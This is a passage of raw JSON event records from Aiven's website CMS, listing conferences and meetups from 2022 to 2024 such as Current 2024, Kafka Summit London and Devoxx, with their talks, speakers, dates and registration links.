center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"ybkgplq6mh7hk5td5x0rzg83v5jzc245","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3m4fyqv28ia0bq47i16go99r30w3aity","_type":"block","children":[{"_key":"iigaarfdw6bn3y5wvbnynpyzw3iqo4hj","_type":"span","marks":[],"text":"Aiven also provides "},{"_key":"vo8vg0j4z72b6yaa1aao8xzs8ggq2p54","_type":"span","marks":["2e3ca51a7f73"],"text":"AI-driven actionable insights"},{"_key":"6q480n0qcvcefq3dylgq3x8hsp5y9nyc","_type":"span","marks":[],"text":" to speed up coding, optimize workloads, and reduce issue resolution time."}],"markDefs":[{"_key":"hnjgmqj065r86wu3grr9vm7x7k8mdo5y","_type":"link","href":"https://aiven.io/solutions/aiven-for-ai"}],"style":"normal"}],"title":"Accelerate application development"},{"_key":"vcz4qa1me1zka45ssy8p35a5r46w1vur","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"z16hydvd2kcpoq48n2juunz1khpngan7","_type":"block","children":[{"_key":"z0nlr69tbfifjfcamokc2x0bv14qqryd","_type":"span","marks":[],"text":"Apply organizational policies once for security, disaster recover, and data governance across your data infrastructure."}],"markDefs":[],"style":"normal"}],"title":"Govern security and compliance"},{"_key":"lfkaq2g6ej1fj6ffmkwl11t30bf069el","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ep8wgj2k80gmxq7a4q81ca1m6vkun91a","_type":"block","children":[{"_key":"2pf54vjwetrbwpgrcqqrhcsp4y01us4r","_type":"span","marks":[],"text":"Deploy Aiven in your existing AWS account to take advantage of your negotiated discounts."}],"markDefs":[],"style":"normal"}],"title":"Optimize cloud costs"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#registration","title":"Schedule meeting"},"roundedCorners":"rounded-none","title":"Your trusted data \u0026 AI platform"}],"eventDetails":[{"_key":"c0f73a62e325","_type":"block","children":[{"_key":"bc801533f2660","_type":"span","marks":[],"text":"Aiven is excited to attend and sponsor Current 2024. Visit booth #303 to discuss:"}],"markDefs":[],"style":"normal"},{"_key":"bb43c7d2e2c5","_type":"block","children":[{"_key":"41ed8cbe04c30","_type":"span","marks":[],"text":"How you can optimize your cloud costs without compromising on uptime with Aiven"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14d473c01a46","_type":"block","children":[{"_key":"e051c4ab9f9e0","_type":"span","marks":[],"text":"Quickly provision data infrastructure needed for your Gen AI use case"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5c1674c0aae3","_type":"block","children":[{"_key":"4cde5d99ad240","_type":"span","marks":[],"text":"Build a resilient cloud architecture strategy that meets your security and compliance requirements"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4474ee9855ad","_type":"block","children":[{"_key":"b55dc871d16a","_type":"span","marks":[],"text":"You can also attend our sessions on MirriorMaker 2 and Apache Flink, details are below!"}],"markDefs":[],"style":"normal"}],"eventTime":"8:00-5:00PM ","eventTitle":"Meet with Aiven at Current 2024","iframeForm":{"iframeHeader":"Discuss Streaming, AI, and more!","iframeHeight":702,"iframeSource":"https://go.aiven.io/l/890043/2024-07-19/v5n1w"},"image":{"_type":"mainImage","asset":{"_ref":"image-ffb454d1a54de839781fb952f0d6eef8ecedf028-1789x1541-png","_type":"reference"}},"qualified":{"_type":"qualifiedExperienceLink","title":"Book onsite meeting"},"registrationType":"iframe"},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/aws-reinvent-2023","title":"Register"},"region":"AMER","seo":{"_type":"metaData","metaDescription":"Visit Aiven at booth #303 and attend sessions led by Greg and Olena to learn how a data and AI platform can help lower your cloud and infrastructure costs and build next-gen apps quickly and efficiently.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-96384372acb6ee940eb9d7a9b55e1c61c4181be5-1200x630-png","_type":"reference"}},"metaTitle":"Current 2024"},"slug":{"_type":"slug","current":"/events/current-2024"},"startDate":"2024-09-17T08:15:00.000Z","tags":[{"_key":"ac889fdb35d8","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"talks":[{"_key":"25fa03aa09f1","_type":"talk","description":[{"_key":"d7edbcec3c56","_type":"block","children":[{"_key":"7c5119efc4a8","_type":"span","marks":[],"text":"Whether you’re directly managing Apache Kafka or it’s part of your data infrastructure, this talk will give you an idea of the security threats involved and how to be ready for them."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"3b262a279d28","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Attacking (and defending) Apache Kafka"},{"_key":"b8f441db420e","_type":"talk","description":[{"_key":"a2f1131c94fb","_type":"block","children":[{"_key":"156a287032bd","_type":"span","marks":[],"text":"For this session, Olena Kutsenko and Olena Babenko (Staff Engineer at Aiven) join forces. "}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"deb1632bd05e","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Mastering Kafka consumer distribution: a guide to efficient scaling and resource optimization"}],"title":"Current 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-01-08T11:55:40Z","_id":"00979d0c-03b9-497d-92ab-75064747248e","_rev":"2NRF14ypplMhiTpuANJeiy","_type":"event","_updatedAt":"2024-01-08T11:55:40Z","contentIsPage":false,"country":"GB","description":[{"_key":"027f0b861baf","_type":"block","children":[{"_key":"f1f785079db1","_type":"span","marks":[],"text":"Join Olena Kutsenko and Olena Babenko for \"Mastering Kafka consumer distribution: a guide to efficient scaling and resource optimization\", and Francesco Tisiot for \"Attacking (and defending) Apache Kafka\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-20T16:00:00.000Z","linkTitle":"Register","location":"London","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.kafka-summit.org/events/kafka-summit-london-2024/about","title":"Register"},"region":"EMEA","startDate":"2024-03-19T08:00:00.000Z","talks":[{"_key":"e30bf4739e08","_type":"talk","description":[{"_key":"14af9a59ea87","_type":"block","children":[{"_key":"461ea165dffa0","_type":"span","marks":[],"text":"Whether you’re directly managing Apache Kafka or it’s part of your data infrastructure, this talk will give you an idea of the security threats involved and how to be ready for them."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"2fb32b9cc2bb","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Attacking (and defending) Apache Kafka"},{"_key":"aa203e37816d","_type":"talk","description":[{"_key":"c80998d33572","_type":"block","children":[{"_key":"6f00183d238d","_type":"span","marks":[],"text":"For this session, Olena Kutsenko and Olena Babenko (Staff Engineer at Aiven) join forces. "}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"d156a6c3ea92","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Mastering Kafka consumer distribution: a guide to efficient scaling and resource optimization"}],"title":"Kafka Summit London","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-07-24T10:01:19Z","_id":"01601215-c090-424a-ad81-68a5f8f366fa","_rev":"NeUDFQb3AItwK5kiumEuZJ","_type":"event","_updatedAt":"2023-07-24T10:40:15Z","country":"ID","description":[{"_key":"84ddb5871de8","_type":"block","children":[{"_key":"ceb282ba753a0","_type":"span","marks":[],"text":"Join the Jakarta Open Source Data Infrastructure meetup, with a talk by Arif Rakhman, Senior Software Engineer at EFishery."}],"markDefs":[],"style":"normal"}],"endDate":"2023-07-27T19:00:00.000Z","location":"Jakarta","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/jakarta-open-source-data-infrastructure-meetup/events/294758762","title":"RSVP"},"region":"APAC","startDate":"2023-07-27T16:00:00.000Z","title":"OSDI Jakarta","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-02-17T10:11:18Z","_id":"025d4e69-6d32-45cd-97e3-e53b10a55111","_rev":"pv5QzE4Lm79BNhDrjkCuVX","_type":"event","_updatedAt":"2023-08-29T08:28:54Z","country":"FR","description":[{"_key":"ecdffe9f8f37","_type":"block","children":[{"_key":"5d3de3410b3f","_type":"span","marks":[],"text":"Meet your Postgres peeps in Paris 🥐 and \""},{"_key":"62f6c596c85a","_type":"span","marks":["76b73f29d6ba"],"text":"Fix Your Strings"},{"_key":"d4fc9e1623df","_type":"span","marks":[],"text":"\" with Aiven Senior Developer Advocate Francesco Tisiot."}],"markDefs":[{"_key":"76b73f29d6ba","_type":"link","href":"https://www.postgresql.eu/events/pgdayparis2023/schedule/session/4322-fix-your-strings/"}],"style":"normal"}],"endDate":"2023-03-23T17:00:00.000Z","location":"Paris","primaryCTA":{"_type":"link","externalUrl":"https://2023.pgday.paris/","title":"Join"},"region":"EMEA","startDate":"2023-03-23T08:00:00.000Z","talks":[{"_key":"4d19f5590081","_type":"talk","description":[{"_key":"dee27b03e3ff","_type":"block","children":[{"_key":"7bf054e41c0f0","_type":"span","marks":[],"text":"This session is recommended for anyone who deeply cares about their (string) data quality."}],"markDefs":[],"style":"normal"},{"_key":"615205145bed","_type":"block","children":[{"_key":"655dde32b586","_type":"span","marks":["f2c412fb968e"],"text":"- Link to slides"}],"markDefs":[{"_key":"f2c412fb968e","_type":"link","href":"https://ftisiot.net/talks/fix-your-strings/"}],"style":"normal"}],"speakers":[{"_key":"00afe6fd3a2b","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Fix your Strings"}],"title":"pgDay Paris 2023","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-09-05T14:25:35Z","_id":"0283f283-7834-43dd-8d47-cb6b3c8e9957","_rev":"32UIWu72Mqx9RU6wIKJQUL","_type":"event","_updatedAt":"2023-09-05T14:25:35Z","contentIsPage":false,"country":"FR","description":[{"_key":"da90ba2969a3","_type":"block","children":[{"_key":"aa5b5f902752","_type":"span","marks":[],"text":"Join Sebastien Blanc for his session \"Kubernetes for beginners\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-04-12T15:00:00.000Z","linkTitle":"Register","location":"Paris","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"primaryCTA":{"_type":"link","externalUrl":"https://www.devoxx.fr/","title":"Attend"},"region":"EMEA","startDate":"2023-04-12T07:00:00.000Z","talks":[{"_key":"91cb0be1f8ec","_type":"talk","description":[{"_key":"47dc7a0eab23","_type":"block","children":[{"_key":"492b00e8c43a","_type":"span","marks":[],"text":"In French language:"}],"markDefs":[],"style":"normal"},{"_key":"a6af41c77d6b","_type":"block","children":[{"_key":"72a2ff4b84040","_type":"span","marks":[],"text":"- "},{"_key":"ae0b29fe95ca","_type":"span","marks":["bfa602bf7097"],"text":"Recording"},{"_key":"88e9853c0e18","_type":"span","marks":[],"text":" "}],"markDefs":[{"_key":"bfa602bf7097","_type":"link","href":"https://www.youtube.com/watch?v=Zw-vNFOGwdw\u0026ab_channel=DevoxxFR"}],"style":"normal"},{"_key":"848dc91db0ec","_type":"block","children":[{"_key":"7e2bb49a29800","_type":"span","marks":[],"text":"- "},{"_key":"f05643d55ebf","_type":"span","marks":["740f31a349ba"],"text":"Slides"},{"_key":"8e7d9cdbfda2","_type":"span","marks":[],"text":" "}],"markDefs":[{"_key":"740f31a349ba","_type":"link","href":"https://noti.st/lostinbrittany/xDneyZ/kubernetes-depassionne-et-pour-les-ultra-debutants"}],"style":"normal"}],"speakers":[{"_key":"bd9be1727e34","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"title":"Kubernetes for beginners (FR)"}],"title":"Devoxx France","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-02-17T10:28:27Z","_id":"02bfb31b-ae49-4972-bd0f-37dbedcb7241","_rev":"gPeuwwT4w78NfMbaxsu3ZK","_type":"event","_updatedAt":"2023-02-21T12:58:34Z","country":"GB","description":[{"_key":"51f0d5915607","_type":"block","children":[{"_key":"2aa0d62926290","_type":"span","marks":[],"text":"Join us at Cottons Centre for an evening full of interesting talks on tools \u0026 techniques for monitoring Apache Kafka, hosted by Aiven and Devoteam."}],"markDefs":[],"style":"normal"}],"endDate":"2023-03-01T20:00:00.000Z","location":"London","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/uk-open-source-data-infrastructure-meetup/events/291594240/","title":"Attend"},"region":"EMEA","startDate":"2023-03-01T17:00:00.000Z","title":"London Open Source Data Infrastructure","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-08-29T11:43:05Z","_id":"0372a744-cc53-4d05-ae71-9aec6e5a541f","_rev":"K4OjmPZwqkJMmxhvoa1thb","_type":"event","_updatedAt":"2023-10-27T14:59:40Z","country":"GB","description":[{"_key":"7752c7b9946d","_type":"block","children":[{"_key":"2b58a91ba635","_type":"span","marks":[],"text":"Join Floor Drees for her session \"SOS: Sustainable Open Source\". "}],"markDefs":[],"style":"normal"}],"endDate":"2022-09-30T15:00:00.000Z","location":"London","region":"EMEA","startDate":"2022-09-29T07:00:00.000Z","talks":[{"_key":"bb5a9bee1b18","_type":"talk","description":[{"_key":"30319dd0846c","_type":"block","children":[{"_key":"9eebb205b2fb0","_type":"span","marks":[],"text":"Free and Open Source Software is eating the world, but is at the same time a victim of its own success. We need better support systems to avoid maintainer burnout, and to avoid regressions from creeping into our systems. How?"}],"markDefs":[{"_key":"caba7078e3e6","_type":"link","href":"https://youtu.be/J1jMYGJYuBA?si=8grwkmyPPpH5jns3"}],"style":"normal"},{"_key":"f2c86848a7d3","_type":"block","children":[{"_key":"68ad0e8f99ce","_type":"span","marks":["caba7078e3e6"],"text":"Recording"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"caba7078e3e6","_type":"link","href":"https://youtu.be/J1jMYGJYuBA?si=8grwkmyPPpH5jns3"}],"style":"normal"}],"speakers":[{"_key":"3192bfe2661f","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"SOS: Sustainable Open Source"}],"title":"Devopsdays London","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-04-04T16:26:11Z","_id":"0445e816-aa31-4b18-af1e-8bf885f1d7e2","_rev":"n4o7HM4ybKf4O57IbSTjo7","_type":"event","_updatedAt":"2023-08-24T09:08:14Z","country":"DE","description":[{"_key":"938824d0cbb8","_type":"block","children":[{"_key":"27014bd7e438","_type":"span","marks":[],"text":"We love Berlin Buzzwords at Aiven! Join Olena Kutsenko for her session on ClickHouse, or: the fastest columnar database."}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-20T16:00:00.000Z","location":"Berlin","primaryCTA":{"_type":"link","externalUrl":"https://2023.berlinbuzzwords.de/","title":"Register"},"region":"EMEA","startDate":"2023-06-18T07:00:00.000Z","talks":[{"_key":"85db299d5773","_type":"talk","description":[{"_key":"99794f3f8021","_type":"block","children":[{"_key":"993b9387cdda0","_type":"span","marks":[],"text":"Columnar databases seem to be full of mysteries and confusion. In this introduction for ClickHouse, we'll take apart its building blocks to see how it achieves its remarkable performance."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"6e0efcb7ea69","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"ClickHouse: what is behind the fastest columnar database"},{"_key":"b79d00c3f9de","_type":"talk","description":[{"_key":"5465cd649ffb","_type":"block","children":[{"_key":"c2dd9a89fd9a0","_type":"span","marks":[],"text":"Co-speaker: Natai Vlatko"}],"markDefs":[],"style":"normal"},{"_key":"b05c818666af","_type":"block","children":[{"_key":"9ccba0d9dee0","_type":"span","marks":[],"text":"\n- "},{"_key":"82e0e06c9fac","_type":"span","marks":["2f38e5ca0ae9"],"text":"Recording"}],"markDefs":[{"_key":"2f38e5ca0ae9","_type":"link","href":"https://www.youtube.com/watch?v=7vKtFYM03gA"}],"style":"normal"}],"speakers":[{"_key":"98169bcdf7d9","_ref":"174cfdd2-a352-4b86-9105-fcb4c94075e4","_type":"reference"}],"title":"Building on-ramps for non-techinical contributors in open source"}],"title":"Berlin Buzzwords","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-08-14T14:18:12Z","_id":"05ff688a-5c45-4dd6-8399-431579ec43cd","_rev":"kdSZ3lyplq7ihlwbzgh4Vh","_type":"event","_updatedAt":"2023-10-07T16:26:16Z","country":"BE","description":[{"_key":"2e0cd636b6d6","_type":"block","children":[{"_key":"cc74166a123e","_type":"span","marks":[],"text":"Joining Devoxx Belgium as speakers this year are Sebastien Blanc and Olena Kutsenko. Learn about Kafka partitions, and about writing your first VS Code extension from them!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-06T15:00:00.000Z","location":"Kinepolis Antwerp","primaryCTA":{"_type":"link","externalUrl":"https://devoxx.be/","title":"Attend"},"region":"EMEA","startDate":"2023-10-02T07:00:00.000Z","talks":[{"_key":"29ec41a8966b","_type":"talk","description":[{"_key":"f84ffb5116e0","_type":"block","children":[{"_key":"23310e35fa3b0","_type":"span","marks":[],"text":"If you are fresh to Apache Kafka, or you're looking for good practices to design your topic partitions and avoid common pitfalls, you'll find this session useful!"}],"markDefs":[],"style":"normal"},{"_key":"a8e3f7acfdf8","_type":"block","children":[{"_key":"083fadd07b28","_type":"span","marks":[],"text":"Watch the recording "},{"_key":"e32bcacda748","_type":"span","marks":["cf5da957a7fe"],"text":"here"},{"_key":"dfc1905405e6","_type":"span","marks":[],"text":" if you missed the talk."}],"markDefs":[{"_key":"cf5da957a7fe","_type":"link","href":"https://youtu.be/OqXdNWwAMIg"}],"style":"normal"}],"speakers":[{"_key":"742740e96aef","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Beginners guide to balance your data across Apache Kafka partitions"},{"_key":"cb1d9736a241","_type":"talk","description":[{"_key":"1ca39acbcf4e","_type":"block","children":[{"_key":"23790883ac780","_type":"span","marks":[],"text":"After a quick overview of the anatomy of an extension, we'll create one \"from scratch\" that covers the essential components: TreeView, Commands, Configuration, etc. After 30 minutes, we'll have a relatively simple but functional extension."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"0bd00da24cf3","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"title":"Build your first VS Code extension in 30 minutes"}],"title":"Devoxx Belgium","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-03-21T16:29:33Z","_id":"0e36652b-c3ad-4b2f-b1fe-9ade126ee931","_rev":"FsdEUX6qPquRWP6V144IXP","_type":"event","_updatedAt":"2024-03-21T16:29:33Z","contentIsPage":false,"country":"FI","description":[{"_key":"b88b33f66042","_type":"block","children":[{"_key":"4e3c64caa9830","_type":"span","marks":[],"text":"Join for the first Helsinki Python meetup of 2024, hosted by Wolt in collaboration with Aiven and the "},{"_key":"4e3c64caa9831","_type":"span","marks":["8d25c57dc8fe"],"text":"Helsinki Open Source Data Infrastructure group"},{"_key":"4e3c64caa9832","_type":"span","marks":[],"text":" at Wolt's HQ."}],"markDefs":[{"_key":"8d25c57dc8fe","_type":"link","href":"https://www.meetup.com/helsinki-open-source-data-infrastructure-meetup/"}],"style":"normal"}],"endDate":"2024-04-03T19:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Helsinki","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/helsinki-open-source-data-infrastructure-meetup/events/299652881/","title":"RSVP"},"region":"EMEA","startDate":"2024-04-03T15:30:00.000Z","title":"Helsinki Python meetup","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-01-24T13:08:52Z","_id":"1468c994-d515-4ada-86a3-6b07843a2c3f","_rev":"VeNKqGNmt13PzvGhqnVrfA","_type":"event","_updatedAt":"2024-01-25T10:12:59Z","contentIsPage":false,"description":[{"_key":"be6a29decb5a","_type":"block","children":[{"_key":"b44b67ae2f620","_type":"span","marks":[],"text":"Join us for an insightful conversation with Sasha Vidiborskiy from Atomico, where he will share the practical aspects of how Atomico approaches tech due diligence for startups."}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-21T18:00:00.000Z","image":{"_type":"mainImage","asset":{"_ref":"image-9e0d79398a3a2e5c4f62c2e3e1347c9905c2f9db-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","internalLink":{"_ref":"4e0239a8-70e2-4ee1-ae90-beeda261aac6","_type":"reference"},"title":"Register"},"startDate":"2024-02-21T17:00:00.000Z","title":"Tech Due Diligence for Early Stage Startups: Insights from Atomico","type":"webinar","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-02-06T08:39:00Z","_id":"150c8bb2-3384-474d-9481-2bbc3ed6bcfb","_rev":"8mGThtWzkZE49nEaOAKGoe","_type":"event","_updatedAt":"2024-02-06T13:33:18Z","contentIsPage":false,"country":"GB","description":[{"_key":"70d4fe3f2e0a","_type":"block","children":[{"_key":"f5037888462e","_type":"span","marks":[],"text":"Join Olena Kutsenko, Sebastien Blanc and Ben Gamble at the global gathering of the developer community at Devoxx UK 2024; 170 sessions across 6 stages over 3 days."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-10T15:00:00.000Z","linkTitle":"Register","location":"London","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.devoxx.co.uk/","title":"Join"},"region":"EMEA","startDate":"2024-05-08T07:00:00.000Z","talks":[{"_key":"8c62d7f8567a","_type":"talk","description":[{"_key":"19cdb753c56c","_type":"block","children":[{"_key":"5a7fb3a52a600","_type":"span","marks":[],"text":"Together in this session we'll build a system using open source technologies Apache Kafka and Apache Flink with AI models to get real-time sentiment from social media data."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"84c85a5da331","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Sentiment analytics in action: building your real-time pipeline"},{"_key":"f7896f257af9","_type":"talk","description":[{"_key":"ac5ba7523f6d","_type":"block","children":[{"_key":"c28b56b0e9f50","_type":"span","marks":[],"text":"In this talk, we'll embark on a journey from DevOps to GitOps and finally to Platform Engineering, elucidating each step with clear definitions, case studies, and real-world applications. We'll dissect the elements that connect these practices and illuminate how they collaboratively enhance the software development process."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"9f6d786f5346","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"title":"From Silos to DevOps to Platform Engineering: embracing GitOps and going behind the hype"}],"title":"Devoxx UK","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-12-21T20:37:44Z","_id":"1614d46a-7724-44c6-b092-3e71ab572223","_rev":"sg5cBJWkRHo7pkcz4RxLD9","_type":"event","_updatedAt":"2023-12-21T20:37:44Z","contentIsPage":false,"country":"GB","description":[{"_key":"5603860ea493","_type":"block","children":[{"_key":"fe34a92afe92","_type":"span","marks":[],"text":"Join Ahmed Sobeh from our Open Source Program Office for his two talks at the 2024 State of Open Con, in London."}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-07T16:00:00.000Z","linkTitle":"Register","location":"London","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://stateofopencon.com/","title":"Register"},"region":"EMEA","startDate":"2024-02-06T08:00:00.000Z","title":"State Of Open Con","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-05-01T16:04:37Z","_id":"18baaa63-266f-4894-bb17-43de02ff6ae6","_rev":"rpwBSMa1i11HwZnbWs4vjr","_type":"event","_updatedAt":"2023-09-26T11:49:29Z","country":"GB","description":[{"_key":"2a780da29907","_type":"block","children":[{"_key":"6cbd81f4a2af","_type":"span","marks":[],"text":"A portion of the DevRel and community team will be in London for DevRelCon. Aiven's Floor Drees will run the unconference."}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-08T15:00:00.000Z","location":"London","person":[{"_key":"5e1d66004e56","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"primaryCTA":{"_type":"link","externalUrl":"https://london-2023.devrelcon.dev/","title":"Join"},"region":"EMEA","startDate":"2023-09-07T07:00:00.000Z","talks":[{"_key":"289b0add3148","_type":"talk","description":[{"_key":"7cc5af42bd16","_type":"block","children":[{"_key":"7bf2245922860","_type":"span","marks":[],"text":"This talk is about clear techniques for building alignment within your organization to improve the visibility and buy-in of your work, and to get consensus and input from colleagues that are also in the field, or deep in the product."}],"markDefs":[],"style":"normal"},{"_key":"eccfd536bcb9","_type":"block","children":[{"_key":"71276ab95554","_type":"span","marks":[],"text":"- Recording to be released shortly"}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"2c89bf605467","_ref":"7973a69c-4582-41de-906f-5f5fd31f4d9c","_type":"reference"}],"title":"Building internal alignment"}],"title":"DevRelCon London","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-08-29T11:42:55Z","_id":"1f5d57a3-62d5-4b32-9520-58ed793c80a3","_rev":"1h5Wm5PSHuci3kB9XsaEkk","_type":"event","_updatedAt":"2023-10-27T14:59:20Z","country":"NO","description":[{"_key":"05c31523658a","_type":"block","children":[{"_key":"7e58f385c737","_type":"span","marks":[],"text":"Join Floor Drees for her session \"Choose your own adventure: Open source, proprietary, self-hosted or managed\". "}],"markDefs":[],"style":"normal"}],"endDate":"2022-11-02T16:00:00.000Z","location":"Oslo","region":"EMEA","startDate":"2022-11-02T08:00:00.000Z","talks":[{"_key":"f5e4c9dc68bb","_type":"talk","description":[{"_key":"304ddd303598","_type":"block","children":[{"_key":"156311fcf8370","_type":"span","marks":[],"text":"While of course “it depends” I want to try and convince you that managed "},{"_key":"7563a5cb11b8","_type":"span","marks":["em"],"text":"can"},{"_key":"d7d2b8d40f7a","_type":"span","marks":[],"text":" be the best of both worlds when you choose the right partner."}],"markDefs":[],"style":"normal"},{"_key":"6cfae8638e32","_type":"block","children":[{"_key":"91fdeb0713c6","_type":"span","marks":["edeb86613857"],"text":"Notes"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"edeb86613857","_type":"link","href":"https://dev.to/floord/choose-your-own-adventure-open-source-proprietary-software-self-hosted-or-managed-pc"}],"style":"normal"}],"speakers":[{"_key":"d677ec54b459","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"Choose your own adventure: Open source, proprietary, self-hosted or managed"}],"title":"Devopsdays Oslo","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-05-04T14:40:28Z","_id":"227b5f03-929d-49a0-831f-507250580c62","_rev":"QpIjbIkE1ssA0KivVY9cHk","_type":"event","_updatedAt":"2023-05-08T10:46:34Z","country":"DE","description":[{"_key":"ba4d702c0f3d","_type":"block","children":[{"_key":"a3b4ad1e9f0b","_type":"span","marks":[],"text":"Join the Berlin Open Source Data Infrastructure meetup for talks on Kafka, ksqlDB, Druid, and more... "}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-24T19:00:00.000Z","location":"Berlin","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/berlin-open-source-data-infrastructure-meetup/events/293319636/","title":"RSVP"},"startDate":"2023-05-24T16:00:00.000Z","tags":[{"_key":"56375b5c5f83","_ref":"a8aaad0e-643e-4a82-ac5f-a23492bdff54","_type":"tag"}],"title":"OSDI Berlin","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-08-15T08:37:19Z","_id":"231dddd1-9f91-4dc2-a412-38925e802fcc","_rev":"pv5QzE4Lm79BNhDrjknsYr","_type":"event","_updatedAt":"2023-08-30T11:56:51Z","country":"CA","description":[{"_key":"8f7203eb78cf","_type":"block","children":[{"_key":"e2f2eca7f929","_type":"span","marks":[],"text":"Matthew de Detrich will be speaking at Community over Code (formerly ApacheCon), about \"Pekko: Hard solutions to the issues of hard-forking\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-10T15:00:00.000Z","location":"Halifax","primaryCTA":{"_type":"link","externalUrl":"https://communityovercode.org/","title":"Join"},"region":"AMER","startDate":"2023-10-07T07:00:00.000Z","title":"Community over Code","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-09-05T14:32:25Z","_id":"233f7e00-e5d6-4aff-8ad9-e037b4f6cc2b","_rev":"32UIWu72Mqx9RU6wIKLh01","_type":"event","_updatedAt":"2023-09-05T14:32:25Z","contentIsPage":false,"country":"NL","description":[{"_key":"4941fe8b1eac","_type":"block","children":[{"_key":"651988e3d246","_type":"span","marks":[],"text":"Check out our meetup with PingCap \u0026 